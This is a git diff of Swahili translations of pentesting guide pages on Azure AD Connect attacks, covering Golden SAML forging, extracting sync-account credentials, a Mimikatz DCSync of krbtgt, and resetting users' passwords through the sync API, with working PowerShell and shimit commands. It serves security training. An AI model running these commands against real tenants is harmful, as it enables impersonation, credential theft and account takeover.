Utambulisho wa Mseto litatosha, kwani linatoa uwezo wa kusimamia AD Connect na kuanzisha akaunti mpya za usawazishaji. +- Uwezo wa kubadilisha akaunti kupitia API ya Usawazishaji ni muhimu. Hii inaweza kupatikana kwa kuwa na jukumu la Msimamizi wa Global au kuwa na akaunti ya usawazishaji ya AD Connect. Vinginevyo, jukumu la Msimamizi wa Utambulisho wa Mseto litatosha, kwani linatoa uwezo wa kusimamia AD Connect na kuanzisha akaunti mpya za usawazishaji. - Uwepo wa **akaunti ya mseto** ni muhimu. Akaunti hii lazima iweze kubadilishwa kwa maelezo ya akaunti ya mwathirika na pia inapaswa kuwa inapatikana kwa uthibitisho. - Utambuzi wa **akaunti ya mwathirika** ndani ya Active Directory ni lazima. Ingawa shambulio linaweza kutekelezwa kwenye akaunti yoyote iliyosawazishwa tayari, mpangilio wa Azure AD haupaswi kuwa na kitambulisho cha usalama wa ndani kilichorejelewa, hivyo inahitajika kubadilisha akaunti isiyosawazishwa ili kupata tiketi. -- Aidha, akaunti hii inapaswa kuwa na mamlaka sawa na ya admin wa domain lakini haipaswi kuwa mwanachama wa vikundi vya kawaida vya wasimamizi wa AD ili kuepuka kuunda TGT zisizo sahihi na RODC ya AzureAD. -- Lengo bora zaidi ni **akaunti ya Active Directory inayotumiwa na huduma ya Usawazishaji ya AD Connect**. Akaunti hii haisawazishwi na Azure AD, ikiacha SID yake kama lengo linalofaa, na kwa asili ina mamlaka sawa na ya Domain Admin kutokana na jukumu lake katika kusawazisha hash za nywila (ikiwa Usawazishaji wa Hash ya Nywila unafanya kazi). Kwa maeneo yenye usakinishaji wa haraka, akaunti hii imeandikwa kwa **MSOL\_**. Kwa matukio mengine, akaunti inaweza kupatikana kwa kuorodhesha akaunti zote zilizo na mamlaka ya Urejeleaji wa Katalogi kwenye kituo cha domain. +- Aidha, akaunti hii inapaswa kuwa na mamlaka sawa na ya admin wa domain lakini haipaswi kuwa mwanachama wa vikundi vya kawaida vya wasimamizi wa AD ili kuepuka kuundwa kwa TGT zisizo sahihi na RODC ya AzureAD. +- Lengo bora ni **akaunti ya Active Directory inayotumiwa na huduma ya AD Connect Sync**. Akaunti hii haisawazishwi na Azure AD, ikiacha SID yake kama lengo linalofaa, na kwa asili ina mamlaka sawa na ya Domain Admin kutokana na jukumu lake katika kusawazisha hash za nywila (ikiwa Usawazishaji wa Hash ya Nywila unafanya kazi). Kwa maeneo yenye usakinishaji wa haraka, akaunti hii imeandikwa kwa **MSOL\_**. Kwa matukio mengine, akaunti inaweza kupatikana kwa kuorodhesha akaunti zote zilizo na mamlaka ya Urejeleaji wa Katalogi kwenye kituo cha domain. ### Shambulio kamili diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index a7f436e08..b0fa74ff5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -2,8 +2,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**Angalia mbinu katika:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) na [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -Post ya blog inazungumzia udhaifu wa kupandisha hadhi katika Azure AD, ikiruhusu Wasimamizi wa Programu au Akaunti za Sync za On-Premise zilizovunjwa kupandisha hadhi kwa kupewa akreditif kwa programu. Udhaifu huu, unaotokana na tabia ya "kwa muundo" ya Azure AD katika kushughulikia programu na wakala wa huduma, unawaathiri hasa programu za ofisi za 365 za default. Ingawa imeripotiwa, suala hili halichukuliwi kama udhaifu na Microsoft kutokana na hati ya tabia ya ugawaji wa haki za usimamizi. Post hii inatoa maarifa ya kiufundi ya kina na inashauri ukaguzi wa kawaida wa akreditif za wakala wa huduma katika mazingira ya Azure AD. Kwa maelezo zaidi, unaweza kutembelea post ya blog asili. +Posti ya blog inajadili udhaifu wa kupandisha hadhi katika Azure AD, ikiruhusu Wasimamizi wa Programu au Akaunti za Sync za On-Premise zilizovunjwa kupandisha hadhi kwa kupewa ithibati kwa programu. Udhaifu huu, unaotokana na tabia ya "kwa muundo" ya Azure AD katika kushughulikia programu na wakala wa huduma, unawaathiri hasa programu za ofisi 365 za default. Ingawa imeripotiwa, suala hili halichukuliwi kama udhaifu na Microsoft kutokana na hati ya tabia ya ugawaji wa haki za usimamizi. Posti inatoa maarifa ya kiufundi ya kina na inashauri ukaguzi wa kawaida wa ithibati za wakala wa huduma katika mazingira ya Azure AD. Kwa maelezo zaidi, unaweza kutembelea posti ya blog asili. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index bcbf28383..e4ff19a42 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -6,22 +6,22 @@ Ili kusawazisha mtumiaji mpya f** kutoka AzureAD hadi kwenye AD ya ndani** haya ndiyo mahitaji: -- Mtumiaji wa **AzureAD** anahitaji kuwa na anwani ya proxy ( **mailbox**) +- Mtumiaji wa **AzureAD** anahitaji kuwa na anwani ya proxy ( **mailbox** ) - Leseni haitahitajika - Haipaswi **kuwa tayari imesawazishwa** ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email. +Wakati mtumiaji kama hawa anapatikana katika AzureAD, ili **kuufikia kutoka kwenye AD ya ndani** unahitaji tu **kuunda akaunti mpya** yenye **proxyAddress** ya barua pepe ya SMTP. -Automatically, this user will be **synced from AzureAD to the on-prem AD user**. +Kiotomatiki, mtumiaji huyu atakuwa **amesawazishwa kutoka AzureAD hadi kwenye mtumiaji wa AD ya ndani**. > [!CAUTION] -> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**. +> Kumbuka kwamba ili kufanya shambulio hili **huhitaji Domain Admin**, unahitaji tu ruhusa za **kuunda watumiaji wapya**. > > Pia, hii **haitapita MFA**. > -> Zaidi ya hayo, hii iliripotiwa kuwa **sambaza akaunti haiwezekani tena kwa akaunti za admin**. +> Zaidi ya hayo, hii iliripotiwa kuwa **kusawazisha akaunti hakuwezekani tena kwa akaunti za admin**. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 0760e712f..ef8073177 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -4,7 +4,7 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** ni mkusanyiko wa **domains** ambazo zimeanzisha **trust**. Kiwango cha trust kinaweza kutofautiana, lakini kwa kawaida kinajumuisha **authentication** na karibu kila wakati kinajumuisha **authorization**. Federation ya kawaida inaweza kujumuisha **idara kadhaa** ambazo zimeanzisha **trust** kwa **upatikanaji wa pamoja** wa seti ya rasilimali. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** ni mkusanyiko wa **domains** ambazo zimeanzisha **trust**. Kiwango cha trust kinaweza kutofautiana, lakini kwa kawaida kinajumuisha **authentication** na karibu kila wakati kinajumuisha **authorization**. Federation ya kawaida inaweza kujumuisha **mashirika kadhaa** ambayo yameanzisha **trust** kwa **upatikanaji wa pamoja** wa seti ya rasilimali. Unaweza **federate mazingira yako ya on-premises** **na Azure AD** na kutumia federation hii kwa ajili ya authentication na authorization. Njia hii ya kuingia inahakikisha kwamba **authentication ya mtumiaji inafanyika kwenye on-premises**. Njia hii inaruhusu wasimamizi kutekeleza viwango vya juu vya udhibiti wa upatikanaji. Federation na **AD FS** na PingFederate inapatikana. @@ -25,11 +25,11 @@ Katika mpangilio wowote wa federation kuna pande tatu:
1. Kwanza, programu (Mtoa Huduma au SP, kama vile AWS console au vSphere web client) inafikiwa na mtumiaji. Hatua hii inaweza kupuuziliwa mbali, ikimpeleka mteja moja kwa moja kwa IdP (Mtoa Kitambulisho) kulingana na utekelezaji maalum. -2. Kisha, SP inatambua IdP inayofaa (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na kuhamasisha mteja kwa IdP iliyochaguliwa. +2. Kisha, SP inatambua IdP sahihi (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na kuhamasisha mteja kwa IdP iliyochaguliwa. 3. IdP inachukua jukumu, ikimthibitisha mtumiaji. Baada ya authentication, SAMLResponse inaundwa na IdP na kupelekwa kwa SP kupitia mtumiaji. 4. Hatimaye, SP inakagua SAMLResponse. Ikiwa imethibitishwa kwa mafanikio, ikionyesha uhusiano wa kuaminika na IdP, mtumiaji anapewa upatikanaji. Hii inamaanisha kumalizika kwa mchakato wa kuingia, ikimruhusu mtumiaji kutumia huduma hiyo. -**Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida tembelea:** +**Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida nenda kwa:** {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks @@ -38,52 +38,52 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting - AD FS ni mfano wa kitambulisho unaotegemea madai. -- "..madai ni kauli tu (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa ajili ya kuidhinisha upatikanaji wa maombi yanayotegemea madai yaliyoko popote mtandaoni." -- Madai kwa mtumiaji yanaandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP. -- Mtumiaji anajulikana kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD. -- ImmutableID inahifadhiwa kwenye on-prem ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji. +- "..claims ni kauli rahisi (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa ajili ya kuidhinisha upatikanaji wa maombi yanayotegemea madai yaliyoko popote mtandaoni." +- Madai ya mtumiaji yameandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP. +- Mtumiaji anaitambulika kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD. +- ImmutableID inahifadhiwa kwenye on-prem kama ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji. - Maelezo zaidi katika [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Golden SAML attack:** - Katika ADFS, SAML Response inasainiwa na cheti cha kusaini token. -- Ikiwa cheti kimeathiriwa, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD! +- Ikiwa cheti kimeathirika, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD! - Kama vile unavyofanya abuse ya PTA, kubadilisha nenosiri la mtumiaji au MFA hakutakuwa na athari yoyote kwa sababu tunaunda jibu la uthibitisho. - Cheti kinaweza kutolewa kutoka kwa seva ya AD FS kwa ruhusa za DA na kisha kinaweza kutumika kutoka kwa mashine yoyote iliyo na muunganisho wa intaneti. - Maelezo zaidi katika [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML -Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefichwa** kwa kutumia **funguo binafsi za IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika. +Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefungwa** kwa kutumia **funguo binafsi za IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika. -Mfanowe unaweza kuhusishwa na [shambulio la tiketi ya dhahabu](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP. +Mfanoweza kuhusishwa na [shambulizi la golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP. -Golden SAML zinatoa faida fulani: +Golden SAMLs hutoa faida fulani: -- Zinaweza **kuundwa kwa mbali**, bila haja ya kuwa sehemu ya domain au federation husika. +- Zinaundwa **kijijini**, bila haja ya kuwa sehemu ya domain au federation husika. - Zinabaki kuwa na ufanisi hata na **Uthibitisho wa Mbili (2FA)** umewezeshwa. -- Funguo binafsi ya **kusaini token haijazaliwa upya kiotomatiki**. -- **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyotengenezwa tayari. +- Funguo binafsi ya kusaini **haijazinduliwa kiotomatiki**. +- **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyozalishwa tayari. #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() ni huduma ya Microsoft inayowezesha **kubadilishana kwa usalama wa taarifa za kitambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation. +[Active Directory Federation Services (AD FS)]() ni huduma ya Microsoft inayowezesha **kubadilishana salama ya taarifa za kitambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation. -Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili **kupata ruhusa yoyote katika mazingira ya AWS**. Shambulio hili linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulio la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi. +Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **ruhusa yoyote katika mazingira ya AWS**. Shambulizi hili linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulizi la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi. -Mahitaji ya kutekeleza shambulio la golden SAML ni pamoja na: +Mahitaji ya kutekeleza shambulizi la golden SAML ni pamoja na: - **Funguo binafsi ya kusaini token** - **Cheti cha umma cha IdP** - **Jina la IdP** -- **Jina la jukumu (jukumu la kuchukua)** +- **Jina la jukumu (jina la kuchukua)** - Domain\jina la mtumiaji - Jina la kikao cha jukumu katika AWS - Amazon account ID _Vitu vilivyo katika maandiko makubwa pekee ndivyo vinahitajika. Vingine vinaweza kujazwa kama inavyotakiwa._ -Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** ni muhimu. Kutoka hapo, funguo binafsi inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS: +Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** unahitajika. Kutoka hapo, funguo binafsi inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -97,7 +97,7 @@ Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** n # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` -Na taarifa zote hizi, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia [**shimit**](https://github.com/cyberark/shimit)**:** +Kwa taarifa zote, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia [**shimit**](https://github.com/cyberark/shimit)**:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 @@ -114,7 +114,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - ```
-### Katika eneo -> wingu +### On-prem -> wingu ```powershell # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -133,7 +133,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` -Ni pia inawezekana kuunda ImmutableID ya watumiaji wa wingu pekee na kujifanya kuwao. +Inawezekana pia kuunda ImmutableID ya watumiaji wa wingu pekee na kujifanya kuwao. ```powershell # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) @@ -145,7 +145,7 @@ Export-AADIntADFSSigningCertificate # Impersonate the user Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose ``` -## References +## Marejeo - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed) - [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 5eccf43d6..5a95f62a1 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -4,14 +4,14 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sawa na usawazishaji wa hash ya nywila** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa hybrid. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa msingi wa wingu. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sawa na ushirikiano wa hash ya nywila** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa hybrid. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa wingu.
Ni **mbinu ya kawaida zaidi** inayotumiwa na kampuni kusawazisha AD ya ndani na Azure AD. -Wote **watumiaji** na **hash ya nywila za nywila** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za wazi** au **hashi za asili** hazitumwi kwa Azure AD.\ -Zaidi ya hayo, vikundi vya usalama **vilivyojengwa ndani** (kama wasimamizi wa kikoa...) **havijasawazishwa** kwa Azure AD. +Watumiaji wote na **hash ya nywila za hash** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za wazi** au **hashi za asili** hazitumwi kwa Azure AD.\ +Zaidi ya hayo, vikundi vya usalama **vilivyojengwa ndani** (kama wasimamizi wa eneo...) **havisawazishwi** kwa Azure AD. **Usawazishaji wa hash** unafanyika kila **dakika 2**. Hata hivyo, kwa kawaida, **kuisha kwa nywila** na **kuisha kwa akaunti** **hakusawazishwi** katika Azure AD. Hivyo, mtumiaji ambaye **nywila yake ya ndani imeisha** (haijabadilishwa) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani. @@ -21,19 +21,19 @@ Wakati mtumiaji wa ndani anapotaka kupata rasilimali ya Azure, **uthibitishaji u ## Pivoting -Wakati PHS imewekwa, baadhi ya **akaunti zenye mamlaka** zinaundwa kiotomatiki: +Wakati PHS imewekwa, akaunti zingine **za kipaumbele** zinaanzishwa kiotomatiki: -- Akaunti **`MSOL_`** inaundwa kiotomatiki katika AD ya ndani. Akaunti hii inapewa jukumu la **Akaunti za Usawazishaji wa Katalogi** (tazama [nyaraka](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za kuiga (DCSync) katika AD ya ndani**. -- Akaunti **`Sync__installationID`** inaundwa katika Azure AD. Akaunti hii inaweza **kurekebisha nywila ya MTUMIAJI YOYOTE** (iliyowekwa sawa au ya wingu pekee) katika Azure AD. +- Akaunti **`MSOL_`** inaanzishwa kiotomatiki katika AD ya ndani. Akaunti hii inapewa jukumu la **Akaunti za Usawazishaji wa Katalogi** (angalia [nyaraka](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za kuiga (DCSync) katika AD ya ndani**. +- Akaunti **`Sync__installationID`** inaanzishwa katika Azure AD. Akaunti hii inaweza **kurekebisha nywila ya MTUMIAJI YOYOTE** (iliyowekwa sawa au ya wingu pekee) katika Azure AD. -Nywila za akaunti hizo mbili zenye mamlaka zimehifadhiwa katika **seva ya SQL** kwenye seva ambapo **Azure AD Connect imewekwa.** Wasimamizi wanaweza kutoa nywila za watumiaji hao wenye mamlaka kwa maandiko wazi.\ +Nywila za akaunti hizo mbili za kipaumbele **zinahifadhiwa katika seva ya SQL** kwenye seva ambapo **Azure AD Connect imewekwa.** Wasimamizi wanaweza kutoa nywila za watumiaji hao wa kipaumbele kwa maandiko wazi.\ Hifadhidata iko katika `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. Inawezekana kutoa usanidi kutoka moja ya meza, ikiwa moja imefungwa: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**Usanidi uliofungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi inawezekana kupandisha hadhi hadi AD na AzureAD. +**Usanidi uliofungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi inawezesha kupandisha hadhi hadi AD na AzureAD. Unaweza kupata [muonekano kamili wa jinsi akreditivu hizi zinavyohifadhiwa na kufunguliwa katika mazungumzo haya](https://www.youtube.com/watch?v=JEIR5oGCwdg). @@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` -### Kutumia MSOL\_\* +### Kutumia MSOL\_* ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -57,7 +57,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!CAUTION] -> Unaweza pia kutumia [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) kupata hizi sifa. +> Unaweza pia kutumia [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) kupata akreditivu hizi. ### Kutumia Sync\_\* @@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -Ni pia inawezekana **kubadilisha nywila za watumiaji wa wingu** pekee (hata kama hiyo siyo ya kutarajia) +Inawezekana pia **kubadilisha nywila za watumiaji wa wingu tu** (hata kama hiyo siyo ya kutarajia) ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -91,14 +91,14 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -Ni uwezekano wa kutoa nenosiri la mtumiaji huyu. +Ni pia inawezekana kutoa nenosiri la mtumiaji huyu. > [!CAUTION] > Chaguo lingine lingekuwa **kupewa ruhusa za kipaumbele kwa huduma ya msingi**, ambayo mtumiaji wa **Sync** ana **ruhusa** ya kufanya, na kisha **kufikia huduma hiyo ya msingi** kama njia ya privesc. ### Seamless SSO -Ni uwezekano wa kutumia Seamless SSO na PHS, ambayo inakabiliwa na matumizi mengine mabaya. Angalia katika: +Inawezekana kutumia Seamless SSO na PHS, ambayo inakabiliwa na matumizi mengine mabaya. Angalia katika: {{#ref}} seamless-sso.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index be04a3908..bb4ab20cd 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -12,17 +12,17 @@ az-primary-refresh-token-prt.md ``` Dsregcmd.exe /status ``` -Katika sehemu ya SSO State, unapaswa kuona **`AzureAdPrt`** imewekwa kwenye **NDIO**. +Katika sehemu ya SSO State, unapaswa kuona **`AzureAdPrt`** imewekwa kuwa **YES**.
-Katika matokeo sawa unaweza pia kuona kama **kifaa kimeunganishwa na Azure** (katika uwanja `AzureAdJoined`): +Katika matokeo hayo hayo unaweza pia kuona kama **kifaa kimeunganishwa na Azure** (katika uwanja `AzureAdJoined`):
